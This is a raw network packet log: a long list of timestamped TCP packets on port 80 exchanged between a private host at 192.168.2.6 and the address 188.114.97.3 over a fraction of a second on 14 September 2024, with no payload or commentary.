Sep 14, 2024 18:44:13.064559937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064677954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064727068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065259933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065277100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065289021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065299034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065309048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065320015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065329075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065330982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065342903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065346003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065354109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065365076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065376043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065386057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065387011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065397978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065408945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065419912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065421104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065432072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065439939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065443993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065458059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065480947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.065982103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.065993071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066003084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066014051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066025019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066035986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066036940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066046953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066057920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066068888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066070080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066082001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066092968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066097975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066103935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066116095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066123009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066126108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066135883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066148043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066148043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066158056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066167116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066188097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066215038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.066951036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.066962957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067008018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.067132950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067145109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067188978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.067311049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067322969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067332983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067343950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067353964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067368984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.067414045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.067514896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067526102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067537069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067549944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067562103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067573071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067580938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.067584991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.067620039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.067648888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.068047047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068058014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068068027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068078995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068089962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068100929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068109035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.068113089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068125010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068135977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068162918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.068162918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.068233013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068243980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068254948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068265915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068275928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068284988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068289042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.068295956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068308115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.068334103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.068361044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069154978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069166899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069176912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069188118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069199085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069210052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069216967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069221020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069232941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069233894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069243908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069255114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069255114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069266081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069283009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069293022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069293022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069304943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069312096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069317102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069329977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069331884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069340944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069350958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069370031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069396973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069744110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069756031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069767952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069777966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069789886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069807053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069808960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069819927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069838047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069844007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069849014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069860935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069861889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069873095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069884062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069885969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069900036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069912910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069922924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069928885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.069931984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069951057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.069977999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.070835114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070847988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070857048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070871115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070882082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070893049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070904016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070904016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.070914984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070925951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070930004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.070936918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070946932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.070949078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070960999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070967913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.070972919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070985079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.070996046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071001053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071007967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071018934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071019888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071036100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071062088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071822882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071835041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071845055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071855068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071866035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071877003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071882963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071887016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071899891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071899891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071911097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071921110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071922064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071933031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071942091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071943998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071955919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071965933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071973085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071978092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.071989059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.071990013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072000980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072036982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072036982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072757006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072770119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072779894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072791100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072802067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072813034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072818995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072823048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072834969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072839022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072848082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072854996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072859049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072870970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072875977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072881937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072892904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072904110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072910070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072915077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072927952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.072956085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.072983980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.073575974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073592901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073604107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073615074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073626041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073637009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073648930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.073673010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.073726892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.099420071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099446058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099493027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.099535942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099570036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099622965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099654913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099684954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.099689007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099728107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.099728107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.099823952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099855900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099889994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099912882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.099922895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099961042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.099976063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100141048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100173950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100189924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100208044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100240946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100260973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100275993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100307941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100322008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100341082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100373983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100388050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100580931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100614071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100635052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100646019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100678921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100697994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100709915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100743055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100761890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.100775957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.100847006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.116857052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.116986036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117022038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117049932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117054939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117090940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117141962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117175102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117228031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117255926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117255926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117261887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117284060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117295980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117331028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117361069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117364883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117398977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117414951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117434978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117491961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117575884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117609978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117666006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117693901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117727041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117760897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117784023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117794991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117831945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117852926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.117861986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.117937088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118124962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118156910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118194103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118227959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118233919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118267059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118294954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118300915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118335009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118355989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118367910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118401051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118426085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118432999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118467093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118485928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118499041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118531942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118554115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118563890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118596077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118623972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118633986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118669987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.118690014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.118973970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119007111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119039059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119040966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119088888 CEST	80	49722	188.114.97.3	192.168.2.6
